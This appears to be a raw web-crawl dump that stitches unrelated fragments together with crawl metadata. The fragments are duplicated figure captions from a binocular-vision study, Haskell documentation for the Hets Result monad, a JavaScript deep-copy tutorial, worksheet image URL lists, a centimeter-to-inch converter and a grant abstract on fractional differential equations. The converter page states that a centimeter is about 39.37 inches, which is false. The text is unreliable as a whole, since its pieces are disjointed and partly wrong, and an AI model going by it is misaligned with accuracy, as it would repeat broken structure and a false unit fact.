113–120. [PubMed]\nWichmann, F. A. Hill, N. J. (2001). The psychometric function: I Fitting, sampling, and goodness of fit. Perception & Psychophysics, 63, 1293–1313. [PubMed]\nWinn, B. Ackerley, R. G. Brown, C. A. Murray, F. K. Prais, J. St. John, M. F. (1988). Reduced aniseikonia in axial anisometropia with contact lens correction. Ophthalmic & Physiological Optics, 8, 341–344. [PubMed]\nFigure 1\n\nIso-magnification contours. This is a plan view of the plane containing the eyes and the fixation point. The simulated stimuli are small gaze-normal patches. The contours represent the regions in space for which one eye's image of a patch is a given percentage larger than the other eye's image.\nFigure 1\n\nIso-magnification contours. This is a plan view of the plane containing the eyes and the fixation point. The simulated stimuli are small gaze-normal patches. The contours represent the regions in space for which one eye's image of a patch is a given percentage larger than the other eye's image.",
null,
"Figure 2\n\nStereograms illustrating the effects of magnification and disparity noise. The disparities in each stereogram specify a sinusoidal corrugation in depth (cross fuse or divergently fuse the stimuli to see the corrugation). The stereograms on the left contain only signal dots (coherence = 1) and the ones on the right contain 40% signal dots (coherence = 0.4). The half images in the top row are the same size; those in the middle row differ by 10%; those in the bottom row differ by 20%.\nFigure 2\n\nStereograms illustrating the effects of magnification and disparity noise. The disparities in each stereogram specify a sinusoidal corrugation in depth (cross fuse or divergently fuse the stimuli to see the corrugation). The stereograms on the left contain only signal dots (coherence = 1) and the ones on the right contain 40% signal dots (coherence = 0.4). The half images in the top row are the same size; those in the middle row differ by 10%; those in the bottom row differ by 20%.",
null,
"Figure 3\n\nResults and predictions for Experiment 1. Coherence threshold (the proportion of signal dots in the stimulus at discrimination threshold) is plotted as a function of the relative magnification of the two eyes' retinal images. Each panel shows data for one observer with the eyes in forward gaze (version = 0°). The data are represented by the black symbols and lines. Error bars are standard errors of the means calculated by bootstrapping. The predictions of the neural compensation hypothesis are represented by the dashed red (leftward gaze; version = −16°) and blue (rightward gaze; version = +16°) curves. The predicted shifts differ across observers because the shifts depend on the inter-pupillary distance. For observers AAA and DMH, rightward gaze position was set to +10°.\nFigure 3\n\nResults and predictions for Experiment 1. Coherence threshold (the proportion of signal dots in the stimulus at discrimination threshold) is plotted as a function of the relative magnification of the two eyes' retinal images. Each panel shows data for one observer with the eyes in forward gaze (version = 0°). The data are represented by the black symbols and lines. Error bars are standard errors of the means calculated by bootstrapping. The predictions of the neural compensation hypothesis are represented by the dashed red (leftward gaze; version = −16°) and blue (rightward gaze; version = +16°) curves. The predicted shifts differ across observers because the shifts depend on the inter-pupillary distance. For observers AAA and DMH, rightward gaze position was set to +10°.",
null,
"Figure 4\n\nResults of Experiment 1. Coherence threshold is plotted against the relative magnification of the two eyes' images. Each panel shows the data for one observer. The red, black, and blue symbols represent the data with the eyes in leftward (version = −16°), forward (0°), and rightward (+16°) gaze, respectively. Error bars are standard errors. The forward-gaze data are replotted from Figure 3.\nFigure 4\n\nResults of Experiment 1. Coherence threshold is plotted against the relative magnification of the two eyes' images. Each panel shows the data for one observer. The red, black, and blue symbols represent the data with the eyes in leftward (version = −16°), forward (0°), and rightward (+16°) gaze, respectively. Error bars are standard errors. The forward-gaze data are replotted from Figure 3.",
null,
"Figure 5\n\nResults of Experiment 2. Coherence threshold is plotted against the relative magnification of the two eyes' images. Each panel shows the data for one observer. The red, black, and blue symbols represent the data with the eyes in leftward (−16°), forward (0°), and rightward (+16°) gaze, respectively. Error bars are standard errors.\nFigure 5\n\nResults of Experiment 2. Coherence threshold is plotted against the relative magnification of the two eyes' images. Each panel shows the data for one observer. The red, black, and blue symbols represent the data with the eyes in leftward (−16°), forward (0°), and rightward (+16°) gaze, respectively. Error bars are standard errors.",
null,
"Figure 6\n\nPlan view of coherence thresholds for naturally occurring image-size ratios. As in Figure 1, the simulated stimuli are small gaze-normal patches. From Figure 1, we know the image-size ratio for each head-centric position. From those ratios, we used the stereo coherence threshold data in Figure 4, averaged across observers, to plot coherence threshold for each object position. The thresholds are indicated by the colors.\nFigure 6\n\nPlan view of coherence thresholds for naturally occurring image-size ratios. As in Figure 1, the simulated stimuli are small gaze-normal patches. From Figure 1, we know the image-size ratio for each head-centric position. From those ratios, we used the stereo coherence threshold data in Figure 4, averaged across observers, to plot coherence threshold for each object position. The thresholds are indicated by the colors.",
null,
"Figure 7\n\nMovie depicting output of local cross-correlator. The x-axis of each frame is the position of the sample of the left-eye's image, windowed by W L, along the trajectory through that image. The y-axis of each frame is the horizontal offset between W L and W R, which corresponds to the horizontal disparity. The z-axis, which is represented over time, is the vertical offset between W L and W R. Color represents the correlation, red indicating a correlation of 1. The stimulus presented to the cross-correlator is a random-dot stereogram depicting a sinusoidal corrugation; the left-eye's half image is magnified by 5%. One can see the disparity estimates corresponding to the corrugation as the correlator moves from one vertical offset to the next. The correlations are highest when the vertical offset is near 0.\nFigure 7\n\nMovie depicting output of local cross-correlator. The x-axis of each frame is the position of the sample of the left-eye's image, windowed by W L, along the trajectory through that image. The y-axis of each frame is the horizontal offset between W L and W R, which corresponds to the horizontal disparity. The z-axis, which is represented over time, is the vertical offset between W L and W R. Color represents the correlation, red indicating a correlation of 1. The stimulus presented to the cross-correlator is a random-dot stereogram depicting a sinusoidal corrugation; the left-eye's half image is magnified by 5%. One can see the disparity estimates corresponding to the corrugation as the correlator moves from one vertical offset to the next. The correlations are highest when the vertical offset is near 0.\nFigure 8\n\nCoherence threshold of the cross-correlation model as a function of relative image magnification in the two eyes' images. Coherence threshold is the proportion of signal dots in the stimulus at discrimination threshold. Magnification is the size difference between the two eyes' images expressed as a percentage. To the left of 0%, the left-eye's image is larger. The extent of the vertical search was constant at 3.6 arcmin. Red, blue, and green represent window sizes (the standard deviations of W L and W R) of 6, 18, and 30 arcmin, respectively. Error bars represent standard errors.\nFigure 8\n\nCoherence threshold of the cross-correlation model as a function of relative image magnification in the two eyes' images. Coherence threshold is the proportion of signal dots in the stimulus at discrimination threshold. Magnification is the size difference between the two eyes' images expressed as a percentage. To the left of 0%, the left-eye's image is larger. The extent of the vertical search was constant at 3.6 arcmin. Red, blue, and green represent window sizes (the standard deviations of W L and W R) of 6, 18, and 30 arcmin, respectively. Error bars represent standard errors.",
null,
"Figure 9\n\nComparison of model and human performance. Coherence threshold is plotted as a function of relative magnification. Filled circles and solid lines represent the average human data for forward gaze (version = 0°) in Experiment 1. Unfilled squares and dashed lines represent model data; the standard deviation of the window was 18 arcmin and the extent of the vertical search was 3.6 arcmin. Error bars represent standard errors.\nFigure 9\n\nComparison of model and human performance. Coherence threshold is plotted as a function of relative magnification. Filled circles and solid lines represent the average human data for forward gaze (version = 0°) in Experiment 1. Unfilled squares and dashed lines represent model data; the standard deviation of the window was 18 arcmin and the extent of the vertical search was 3.6 arcmin. Error bars represent standard errors.",
null,
"Figure 10\n\nPlan view of coherence thresholds for naturally occurring size ratios in people with aniseikonia. The upper and lower panels show the calculations for 10% and 20% aniseikonia (larger image in right eye), respectively. The colors indicate the stereo coherence thresholds that would be expected if no adaptation to aniseikonia occurred.\nFigure 10\n\nPlan view of coherence thresholds for naturally occurring size ratios in people with aniseikonia. The upper and lower panels show the calculations for 10% and 20% aniseikonia (larger image in right eye), respectively. The colors indicate the stereo coherence thresholds that would be expected if no adaptation to aniseikonia occurred.",
null,
"Figure 11\n\nResults and predictions for Experiment 3. Coherence threshold (the proportion of signal dots in the stimulus at discrimination threshold) is plotted as a function of the relative magnification of the two eyes' retinal images. The observer is an anisometrope and was tested with the eyes in forward gaze (version = 0°). The data are represented by the black symbols and lines. Error bars are standard errors of the means calculated by bootstrapping. We determined the relative magnification that resulted in the best stereo performance by fitting the data with Equation 4. This magnification is represented by the gray solid line. The dashed lines indicate the magnifications for which stereo performance would be best if the observer were completely adapted to image-size differences with glasses (red dashed line), contact lenses (blue line), or no optical correction (purple line). If she were not adapted at all, performance would be best at the green dashed line.\nFigure 11\n\nResults and predictions for Experiment 3. Coherence threshold (the proportion of signal dots in the stimulus at discrimination threshold) is plotted as a function of the relative magnification of the two eyes' retinal images. The observer is an anisometrope and was tested with the eyes in forward gaze (version = 0°). The data are represented by the black symbols and lines. Error bars are standard errors of the means calculated by bootstrapping. We determined the relative magnification that resulted in the best stereo performance by fitting the data with Equation 4. This magnification is represented by the gray solid line. The dashed lines indicate the magnifications for which stereo performance would be best if the observer were completely adapted to image-size differences with glasses (red dashed line), contact lenses (blue line), or no optical correction (purple line). If she were not adapted at all, performance would be best at the green dashed line.",
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http://hets.eu/docs/Common-Result.html | [
"Hets - the Heterogeneous Tool Set\n\nCopyright (c) T. Mossakowski C. Maeder Uni Bremen 2002-2008 GPLv2 or higher, see LICENSE.txt [email protected] provisional portable Safe\n\nCommon.Result\n\nContents\n\nDescription\n\nResult monad for accumulating Diagnosis messages during analysis phases.\n\nSynopsis\n\n# Documentation\n\ndata DiagKind Source #\n\nseverness of diagnostic messages\n\nConstructors\n\n Error Warning Hint Debug MessageW used for messages in the web interface\n\nInstances\n\n Eq DiagKind Source # Methods(==) :: DiagKind -> DiagKind -> Bool(/=) :: DiagKind -> DiagKind -> Bool Data DiagKind Source # Methodsgfoldl :: (forall d b. Data d => c (d -> b) -> d -> c b) -> (forall g. g -> c g) -> DiagKind -> c DiagKindgunfold :: (forall b r. Data b => c (b -> r) -> c r) -> (forall r. r -> c r) -> Constr -> c DiagKindtoConstr :: DiagKind -> ConstrdataTypeOf :: DiagKind -> DataTypedataCast1 :: Typeable (* -> *) t => (forall d. Data d => c (t d)) -> Maybe (c DiagKind)dataCast2 :: Typeable (* -> * -> *) t => (forall d e. (Data d, Data e) => c (t d e)) -> Maybe (c DiagKind)gmapT :: (forall b. Data b => b -> b) -> DiagKind -> DiagKindgmapQl :: (r -> r' -> r) -> r -> (forall d. Data d => d -> r') -> DiagKind -> rgmapQr :: (r' -> r -> r) -> r -> (forall d. Data d => d -> r') -> DiagKind -> rgmapQ :: (forall d. Data d => d -> u) -> DiagKind -> [u]gmapQi :: Int -> (forall d. Data d => d -> u) -> DiagKind -> ugmapM :: Monad m => (forall d. Data d => d -> m d) -> DiagKind -> m DiagKindgmapMp :: MonadPlus m => (forall d. Data d => d -> m d) -> DiagKind -> m DiagKindgmapMo :: MonadPlus m => (forall d. Data d => d -> m d) -> DiagKind -> m DiagKind Ord DiagKind Source # Methodscompare :: DiagKind -> DiagKind -> Ordering(<) :: DiagKind -> DiagKind -> Bool(<=) :: DiagKind -> DiagKind -> Bool(>) :: DiagKind -> DiagKind -> Bool(>=) :: DiagKind -> DiagKind -> Bool Show DiagKind Source # MethodsshowsPrec :: Int -> DiagKind -> ShowSshow :: DiagKind -> StringshowList :: [DiagKind] -> ShowS\n\ndata Diagnosis Source #\n\na diagnostic message with Pos\n\nConstructors\n\n Diag FieldsdiagKind :: DiagKind diagString :: String diagPos :: Range\n\nInstances\n\n Source # Methods(==) :: Diagnosis -> Diagnosis -> Bool(/=) :: Diagnosis -> Diagnosis -> Bool Data Diagnosis Source # Methodsgfoldl :: (forall d b. Data d => c (d -> b) -> d -> c b) -> (forall g. g -> c g) -> Diagnosis -> c Diagnosisgunfold :: (forall b r. Data b => c (b -> r) -> c r) -> (forall r. r -> c r) -> Constr -> c DiagnosistoConstr :: Diagnosis -> ConstrdataTypeOf :: Diagnosis -> DataTypedataCast1 :: Typeable (* -> *) t => (forall d. Data d => c (t d)) -> Maybe (c Diagnosis)dataCast2 :: Typeable (* -> * -> *) t => (forall d e. (Data d, Data e) => c (t d e)) -> Maybe (c Diagnosis)gmapT :: (forall b. Data b => b -> b) -> Diagnosis -> DiagnosisgmapQl :: (r -> r' -> r) -> r -> (forall d. Data d => d -> r') -> Diagnosis -> rgmapQr :: (r' -> r -> r) -> r -> (forall d. Data d => d -> r') -> Diagnosis -> rgmapQ :: (forall d. Data d => d -> u) -> Diagnosis -> [u]gmapQi :: Int -> (forall d. Data d => d -> u) -> Diagnosis -> ugmapM :: Monad m => (forall d. Data d => d -> m d) -> Diagnosis -> m DiagnosisgmapMp :: MonadPlus m => (forall d. Data d => d -> m d) -> Diagnosis -> m DiagnosisgmapMo :: MonadPlus m => (forall d. Data d => d -> m d) -> Diagnosis -> m Diagnosis Show Diagnosis Source # MethodsshowsPrec :: Int -> Diagnosis -> ShowSshow :: Diagnosis -> StringshowList :: [Diagnosis] -> ShowS Source # MethodsrangeSpan :: Diagnosis -> [Pos] Source # Source # Methodspretties :: [Diagnosis] -> Doc Source #\n\nmkDiag :: (GetRange a, Pretty a) => DiagKind -> String -> a -> Diagnosis Source #\n\nconstruct a message for a printable item that carries a position\n\nmkNiceDiag :: (GetRange a, Pretty a) => GlobalAnnos -> DiagKind -> String -> a -> Diagnosis Source #\n\nconstruct a message for a printable item that carries a position\n\nisErrorDiag :: Diagnosis -> Bool Source #\n\ncheck whether a diagnosis is an error\n\nhasErrors :: [Diagnosis] -> Bool Source #\n\nCheck whether a diagnosis list contains errors\n\naddErrorDiag :: (GetRange a, Pretty a) => String -> a -> Result b -> Result b Source #\n\nadd a further error message to explain a failure\n\ncheckUniqueness :: (Pretty a, GetRange a, Ord a) => [a] -> [Diagnosis] Source #\n\nA uniqueness check yields errors for duplicates in a given list.\n\ndata Result a Source #\n\nThe result monad. A failing result should include an error message.\n\nConstructors\n\n Result Fieldsdiags :: [Diagnosis] maybeResult :: Maybe a\n\nInstances\n\n Monad Result Source # Methods(>>=) :: Result a -> (a -> Result b) -> Result b(>>) :: Result a -> Result b -> Result breturn :: a -> Result afail :: String -> Result a Functor Result Source # Methodsfmap :: (a -> b) -> Result a -> Result b(<\\$) :: a -> Result b -> Result a Applicative Result Source # Methodspure :: a -> Result a(<*>) :: Result (a -> b) -> Result a -> Result b(*>) :: Result a -> Result b -> Result b(<*) :: Result a -> Result b -> Result a MonadPlus Result Source # Methodsmzero :: Result amplus :: Result a -> Result a -> Result a Alternative Result Source # Methodsempty :: Result a(<|>) :: Result a -> Result a -> Result asome :: Result a -> Result [a]many :: Result a -> Result [a] Data a => Data (Result a) Source # Methodsgfoldl :: (forall d b. Data d => c (d -> b) -> d -> c b) -> (forall g. g -> c g) -> Result a -> c (Result a)gunfold :: (forall b r. Data b => c (b -> r) -> c r) -> (forall r. r -> c r) -> Constr -> c (Result a)toConstr :: Result a -> ConstrdataTypeOf :: Result a -> DataTypedataCast1 :: Typeable (* -> *) t => (forall d. Data d => c (t d)) -> Maybe (c (Result a))dataCast2 :: Typeable (* -> * -> *) t => (forall d e. (Data d, Data e) => c (t d e)) -> Maybe (c (Result a))gmapT :: (forall b. Data b => b -> b) -> Result a -> Result agmapQl :: (r -> r' -> r) -> r -> (forall d. Data d => d -> r') -> Result a -> rgmapQr :: (r' -> r -> r) -> r -> (forall d. Data d => d -> r') -> Result a -> rgmapQ :: (forall d. Data d => d -> u) -> Result a -> [u]gmapQi :: Int -> (forall d. Data d => d -> u) -> Result a -> ugmapM :: Monad m => (forall d. Data d => d -> m d) -> Result a -> m (Result a)gmapMp :: MonadPlus m => (forall d. Data d => d -> m d) -> Result a -> m (Result a)gmapMo :: MonadPlus m => (forall d. Data d => d -> m d) -> Result a -> m (Result a) Show a => Show (Result a) Source # MethodsshowsPrec :: Int -> Result a -> ShowSshow :: Result a -> StringshowList :: [Result a] -> ShowS Pretty a => Pretty (Result a) Source # Methodspretty :: Result a -> Doc Source #pretties :: [Result a] -> Doc Source #\n\njoinResultWith :: (a -> b -> c) -> Result a -> Result b -> Result c Source #\n\njoin two results with a combining function\n\njoinResult :: Result a -> Result b -> Result b Source #\n\njoin two results\n\nmapR :: (a -> Result b) -> [a] -> Result [b] Source #\n\njoin a list of results that are independently computed\n\nfatal_error :: String -> Range -> Result a Source #\n\na failing result with a proper position\n\nmkError :: (GetRange a, Pretty a) => String -> a -> Result b Source #\n\na failing result constructing a message from a type\n\ndebug :: (GetRange a, Pretty a) => Int -> (String, a) -> Result () Source #\n\nadd a debug point\n\nplain_error :: a -> String -> Range -> Result a Source #\n\nadd an error message but don't fail\n\nwarning :: a -> String -> Range -> Result a Source #\n\nadd a warning\n\njustWarn :: a -> String -> Result a Source #\n\njust add a warning without position information\n\nhint :: a -> String -> Range -> Result a Source #\n\nadd a hint\n\njustHint :: a -> String -> Result a Source #\n\njust add a hint without position information\n\nmessage :: a -> String -> Result a Source #\n\nadd a (web interface) message\n\nmaybeToResult :: Range -> String -> Maybe a -> Result a Source #\n\nadd a failure message to Nothing\n\nresultToMonad :: Monad m => String -> Result a -> m a Source #\n\nPropagate errors using the error function\n\nresultToMaybe :: Result a -> Maybe a Source #\n\ncheck whether no errors are present, coerce into Maybe\n\nadjustPos :: Range -> Result a -> Result a Source #\n\nadjust positions of diagnoses\n\nchange the diag kind of a diagnosis\n\npropagateErrors :: String -> Result a -> a Source #\n\nPropagate errors using the error function\n\nshowErr :: ParseError -> String Source #\n\nshowing (Parsec) parse errors using our own showPos function\n\nshowRelDiags :: Int -> [Diagnosis] -> String Source #\n\nprintDiags :: Int -> [Diagnosis] -> IO () Source #\n\n# Orphan instances\n\n Source # Methodspretties :: [Range] -> Doc Source #"
]
| [
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]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.5632483,"math_prob":0.6829868,"size":7810,"snap":"2021-04-2021-17","text_gpt3_token_len":2390,"char_repetition_ratio":0.25057647,"word_repetition_ratio":0.5729927,"special_character_ratio":0.3865557,"punctuation_ratio":0.19161244,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9827564,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-04-18T23:15:12Z\",\"WARC-Record-ID\":\"<urn:uuid:5ea0a88b-d416-4619-bbbe-e158b46e1340>\",\"Content-Length\":\"52782\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c493fab2-fb0f-415e-9fac-1c5756b35d41>\",\"WARC-Concurrent-To\":\"<urn:uuid:440cf437-f976-4e19-bc0e-b911ccd86db5>\",\"WARC-IP-Address\":\"141.44.24.52\",\"WARC-Target-URI\":\"http://hets.eu/docs/Common-Result.html\",\"WARC-Payload-Digest\":\"sha1:HNFYU77UMJD4KF747XKEP3AWGDN2HS3V\",\"WARC-Block-Digest\":\"sha1:E7FEF6UZZX3VKNKSB2PXHSGIKDCEYPLG\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-17/CC-MAIN-2021-17_segments_1618038862159.64_warc_CC-MAIN-20210418224306-20210419014306-00592.warc.gz\"}"} |
https://programming.vip/docs/analyzing-deep-copies.html | [
"# Analyzing deep copies\n\nDuring the development process, you often encounter the time when you need to copy the object, because the object is a reference data type and the object's address is recorded in the assignment process, so if multiple variables point to the same memory address and change the properties of one variable, all variables will be affected, and deep copy is required in the object copying process.\n\n### 1 Define a variable\n\n`var copy;`\n\nDefine a variable without assignment, because the type of copy is not necessarily an object, it may be an array or something else.\n\n### 2 Consider basic data types\n\n`if (null == values || \"object\" != typeof values) return values;`\n\nIf the type is null,undefined, string, boolean, numberNumber returns the original value directly.\n\n### 3 Consider Date\n\nDate is used to create a time object and is essentially an object. Therefore, the copy process also needs to get rid of the original object reference address. Here, you need to re-create a date instance and keep it consistent with the original object value.\n\n```if (values instanceof Date) {\ncopy = new Date();\ncopy.setTime(values.getTime());\nreturn copy;\n}```\n\n### 4 Consider Array\n\nAn object's attributes may also be arrays and arrays may also be objects, and if copied directly, the reference to the original array will remain. So you also need to create a new array here. Since elements in an array can also be of any data type, recursion can be used here:\n\n```if (values instanceof Array) {\ncopy = [];\nfor (var i = 0, len = values.length; i < len; i++) {\ncopy[i] = deepClone(values[i]);\n}\nreturn copy;\n}```\n\n### 5 Considerations\n\nIf the value is still an object, each key needs to be traversed, the for in traversal used here. The value of an object can also be any data type, so recursion is used here. During traversal, you see a piece of code: values.hasOwnProperty(attr). This is done for performance reasons, because the for-in loop traverses not only the properties of the object itself, but also the enumerable properties on the prototype, which in turn avoids the properties on the prototype.\n\n```if (values instanceof Object) {\ncopy = {};\nfor (var attr in values) {\nif (values.hasOwnProperty(attr)) copy[attr] = deepClone(values[attr]);\n}\nreturn copy;\n}```\n\nConsidering circular references, there are circular references to the following writings: if you copy directly using the above method, you will get an error that exceeds the maximum execution stack.\n\n```var obj = {};\nobj.a = new Date('2020-01-27');\nobj.b = obj;```\n\nYou can use data caching to solve circular reference problems. var map = new WeakMap() can accept only objects, and value can be any value. When you encounter the code below, a circular reference object exists, and the code does not need to be executed down, but simply returns the stored data.\n\n```if(map.has(value)) {\nreturn map.get(value);\n}```\n```function wrapDeepClone(value) {\nvar map = new WeakMap()\n\nfunction deepClone(value) {\n\nvar copy, existObj; // key can only be an object type\n\nif(!value || typeof value !== 'object') return value;\n\nif(value instanceof Date) {\ncopy = new Date();\ncopy.setTime(value.getTime());\nreturn copy;\n\n}\n\nif(map.has(value)) {\n\nreturn map.get(value);\n}\n\nif(value instanceof Array) {\ncopy = [];\nmap.set(value, copy);\nfor(var i = 0; i < value.length; i++) {\ncopy[i] = deepClone(value[i]);\n}\nreturn copy;\n}\n\nif(value instanceof Object) {\ncopy = {};\nmap.set(value, copy);\nfor(var key in value) {\nif(value.hasOwnProperty(key)) {\ncopy[key] = deepClone(value[key])\n}\n}\n\nreturn copy;\n}\n\n}\nreturn deepClone(value)\n}\nvar copyObj = wrapDeepClone(obj);\n\nconsole.log(copyObj);```\n\nKeywords: Javascript Front-end\n\nAdded by godwisam on Sat, 05 Mar 2022 05:22:58 +0200"
]
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https://lemonlilyfestival.com/equation-problems-worksheet/ | [
"",
null,
"Printables\n\nEquation Problems Worksheet\n\nAlgebra 1 worksheets equations two step equation word problems worksheets. Algebra 1 worksheets equations one step containing integers. Algebra 1 worksheets equations one step with integers decimals fractions problems worksheets. Algebra 1 worksheets equations one step equation word problems worksheets. Free worksheets for linear equations grades 6 9 pre algebra ready made worksheets.",
null,
"Algebra 1 worksheets equations two step equation word problems worksheets",
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"Algebra 1 worksheets equations one step with integers decimals fractions problems worksheets",
null,
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"",
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null,
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null,
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""
]
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null,
"http://study.com/academy/practice/quiz-worksheet-motion-and-the-big-five-kinematics-equation.jpg",
null,
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null,
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null,
"http://www.homeschoolmath.net/worksheets/grade6/images/one-step-equations-easy.gif",
null,
"https://s-media-cache-ak0.pinimg.com/564x/57/ce/cd/57cecd7cd26f07ef7c5601c62d8a4c44.jpg",
null,
"http://www.dailypo.com/uploads/7th-grade-math-algebra-equations-worksheets-37103.png",
null,
"https://img.yumpu.com/51426928/1/358x460/equation-problem-solving-practice-ws.jpg",
null,
"http://ius.tech/wp-content/uploads/2014/05/equation-math-worksheets-1.gif",
null,
"http://www.mathwarehouse.com/sheets/algebra/linear-equation/images/word-problems/linear-models3.png",
null,
"https://www.math-drills.com/algebra/images/algebra_solve_onestep_equation_easy_001_pin.jpg",
null,
"https://sciencenotes.org/wp-content/uploads/2015/01/balanceequations.png",
null,
"http://www.math-aids.com/images/algebra1-equations-mixture.png",
null,
"https://content.lessonplanet.com/resources/previews/original/integrated-algebra-practice-systems-of-linear-equation-word-problems-worksheet.jpg",
null,
"https://cdn-media1.teachertube.com/static-pages/img/algebra-linear-equations-worksheets.jpg",
null,
"http://cdn.digitalcrate.net/2016/08/19/algebra-1-solving-equations-worksheet-l-b73c001e261d6030.png",
null,
"http://study.com/academy/practice/quiz-worksheet-motion-and-the-big-five-kinematics-equation.jpg",
null,
"https://s-media-cache-ak0.pinimg.com/originals/5b/d2/e9/5bd2e914901fb6410e7a62c627588f58.gif",
null,
"https://content.lessonplanet.com/resources/previews/original/systems-of-equations-word-problems-worksheet.jpg",
null,
"https://s-media-cache-ak0.pinimg.com/564x/50/8e/5b/508e5b283d115d24126c5f88fdc74c25.jpg",
null,
"http://www.math-aids.com/images/pre-algebra-systems-of-equations-worksheets.png",
null,
"http://www.math-aids.com/images/mixed-multi-horiz.png",
null,
"http://www.homeschoolmath.net/worksheets/grade7/images/equations-parentheses.gif",
null,
"http://www.commoncoresheets.com/Math/Balancing%20Equations/Determining%20Variable%20Value%20to%20Balance%20Equations/English/thumb.png",
null,
"https://s-media-cache-ak0.pinimg.com/236x/7f/65/19/7f65199a6635ad7b473df761a47c8947.jpg",
null,
"https://en.islcollective.com/wuploads/preview_new/big_35353_fawlty_towers_listening_speaking_practise_1.jpg",
null,
"http://1.bp.blogspot.com/-AB7XEx0ycwo/VCX-GH7txyI/AAAAAAAAGC0/H0edQgTLWA4/s1600/Tuck-Everlasting-C.jpg",
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https://cmtoinches.co/3.79-cm-into-inch-3.79 | [
"# 3.79 cm into inch\n\n3.79 centimeters is equal to how many inches?\n\n### All In One Unit Converter\n\nPlease, choose a physical quantity, two units, then type a value in any of the boxes above.\n\nTo use this calculator, simply type the value in any box at left or at right. It accepts fractional values.\n\nUsing this converter you can get answers to questions like:\n\n• How many inches is 3.79 centimeters.?\n• 3.79 centimeters is equal to how many inches?\n• How tall is 3.79 cm in feet and inches\n• What is the cm to in conversion factor?\n• What is the formula to convert from cm to in? among others.\n\n## Definition of centimeter\n\nA centimeter (cm) is a decimal fraction of the meter, the international standard unit of length, approximately equivalent to 39.37 inches.\n\n## Definition of inch\n\nAn inch is a unit of length or distance in a number of systems of measurement, including in the US Customary Units and British Imperial Units. One inch is defined as 1⁄12 of a foot and is therefore 1⁄36 of a yard. According to the modern definition, one inch is equal to 25.4 mm exactly.\n\n## Centimeter to inches formula and conversion factor\n\nTo calculate a centimeter value to the corresponding value in inch, just multiply the quantity in centimeter by 0.39370078740157 (the conversion factor).\n\n### Centimeter to inches formulae\n\nInches = Centimeters * 0.39370078740157\n\nThe factor 0.39370078740157 is the result from the division 1/2.54 (Inch definition). So, a better formula is\n\nInches = Centimeters / 2.54\n\n### Values around 3.79 centimeter(s)\n\nCentimetersInches\n3.141.23622\n3.241.27559\n3.341.31496\n3.441.35433\n3.541.39370\n3.641.43307\n3.741.47244\n3.841.51181\n3.941.55118\n4.041.59055\n4.141.62992\n4.241.66929\n4.341.70866\n4.441.74803\n4.541.78740"
]
| [
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https://bvs.fapesp.br/en/auxilios/81586/differential-equations-with-fractional-derivatives-and-their-applications/ | [
" Research Grants 13/10341-0 - Equações diferenciais parciais, Atratores - BV FAPESP\nStart date\nBetweenand\n\n# Differential equations with fractional derivatives and their applications\n\n Grant number: 13/10341-0 Support Opportunities: Research Grants - Visiting Researcher Grant - International Duration: August 07, 2013 - August 27, 2013 Field of knowledge: Physical Sciences and Mathematics - Mathematics - Analysis Principal Investigator: Alexandre Nolasco de Carvalho Grantee: Alexandre Nolasco de Carvalho Visiting researcher: Tomasz Wladyslaw Dlotko Visiting researcher institution: University of Silesia, Poland Host Institution: Instituto de Ciências Matemáticas e de Computação (ICMC). Universidade de São Paulo (USP). São Carlos , SP, Brazil\n\nAbstract\n\nMathematical models of physical, biological and atmospheric phenomena form a bridge between the real world and theoretical sciences, they link the applications and the abstraction. Such models are interesting for the engineers and physicists but also for pure mathematicians. The most important among such models are those described by partial differential equations (PDEs) and their generalizations containing fractional derivatives. We plan to study the following subjects:* Partial differential equations with fractional-order derivatives,* Long time behavior of equations with fractional derivatives. One of the natural origin for equations including fractional-order derivative is the stochastic analysis; if the driven process is a jumps process (Levy process), then the corresponding Fokker-Planck equation will contain a fractional Laplacian. Recent decade, in the study off luid mechanics, finances, molecular biology and many other fields, it was discovered that their draught of random factors can bring many new phenomenon and features which are more realistic than the deterministic approach alone. Hence, it would be natural to include stochastic terms, and so the fractional-order operators, when we establish the mathematical models. Moreover, the problems containing such fractional-order derivative terms becomes more challenging and many classical PDEs methods are hardly applicable directly to them, so that new ideas and theories are required. Comparing with the usual PDEs' theory, we can even say that the fractional-order PDEs are only on their initial stage of development. For example, to the best of our knowledge, the first systematical results about fully nonlinear fractional-order PDEs belongs to L. Caffarelli, L. Silvestre [C-S]. Also, in fluid mechanics, it was found in [C], that the solution of 2D critical (the order is 12 ) Quasi-Geostrophic equation (Q-G equation) resembles the evolution of the vorticity in the three-dimensional Euler equation, however, its global regularity was settled only recently by A. Kiselev et al. [K] and L. Caffarelli, A. Vasseur in [K-V], and the supercritical case (the order less than 12 ) remains open up to now. One of the major task in the studies of evolution equations of mathematical physics is to investigate the behavior of its solutions when time is large or tends to infinity. However, in general, for most nonlinear PDEs (especially the PDEs arising from physics and atmospheric science) we cannot get their solutions explicitly. Although scientists can get some information via numerical methods using super computers, such methods cannot give valuable approximations of solutions as time goes to infinite. Hence, it would be important to get information without solving the PDEs; for example for the atmospheric equations in weather forecast. The theory of dynamical systems has been successfully used for a few decades to analyze qualitative properties of many differential equations. Usually the concept of an attractor plays a crucial role in such considerations, since focusing our attention on the attractors significant simplification can be achieved. Consequently, it is important to study possible attractors and to characterize their properties. There are many famous mathematicians working in this field, like M. Vishik, R. Temam, C. Foias, P. Constantin, J.M. Ball, and others. However, due to complexity of PDEs, the understanding in the existing literature of geometrical properties of attractors is still very limited. Especially, it is almost empty concerning the attractors for fractional-order PDEs. Our research will focus on the study of the local and global well posedness and asymptotic behavior for models with fractional order derivatives. (AU)"
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https://srijithr.gitlab.io/post/automl/ | [
